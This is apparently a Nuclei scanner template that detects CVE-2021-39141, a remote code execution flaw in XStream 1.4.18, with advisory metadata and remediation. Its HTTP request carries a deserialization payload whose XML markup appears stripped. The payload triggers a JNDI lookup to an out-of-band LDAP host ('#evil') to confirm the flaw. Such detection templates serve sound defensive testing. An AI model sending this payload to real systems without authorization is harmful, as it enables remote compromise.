id: CVE-2021-39141 info: name: XStream 1.4.18 - Remote Code Execution author: pwnhxl severity: high description: | XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Upgrade XStream to a version that is not affected by CVE-2021-39141. reference: - http://x-stream.github.io/CVE-2021-39141.html - https://x-stream.github.io/CVE-2021-39141.html - https://github.com/x-stream/xstream/security/advisories/GHSA-g5w6-mrj7-75h2 - https://security.netapp.com/advisory/ntap-20210923-0003/ - https://nvd.nist.gov/vuln/detail/CVE-2021-39141 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 8.5 cve-id: CVE-2021-39141 cwe-id: CWE-434 epss-score: 0.25418 epss-percentile: 0.96265 cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: xstream_project product: xstream tags: cve,cve2021,xstream,deserialization,rce,xstream_project http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml 2 3 java.lang.Comparable false java.lang.Comparable compareTo java.lang.Object 0 PLAIN false int hash java.lang.String false hash java.lang.String javax.naming.InitialContext doLookup java.lang.String serialPersistentFields [Ljava.io.ObjectStreamField; serialPersistentFields java.lang.String CASE_INSENSITIVE_ORDER java.util.Comparator CASE_INSENSITIVE_ORDER java.lang.String serialVersionUID long serialVersionUID java.lang.String value [C value java.lang.String hash int serialPersistentFields [Ljava.io.ObjectStreamField; CASE_INSENSITIVE_ORDER java.util.Comparator serialVersionUID long value [C hash false java.lang.String java.lang.Object false false false false false ldap://{{interactsh-url}}/#evil matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - "timestamp" - "com.thoughtworks.xstream" condition: or - type: word part: header words: - "application/json" - type: status status: - 500 # digest: 4a0a00473045022100ee2804f5c77c03dfc26e9d12de292c8f7b478fcbad137042691fcdbc1ec33c380220406d482a8150b89f50d17d62b644ce6948fd37f18031f80c51d1c89fd5aa8e85:922c64590222798bb761d5b6d8e72950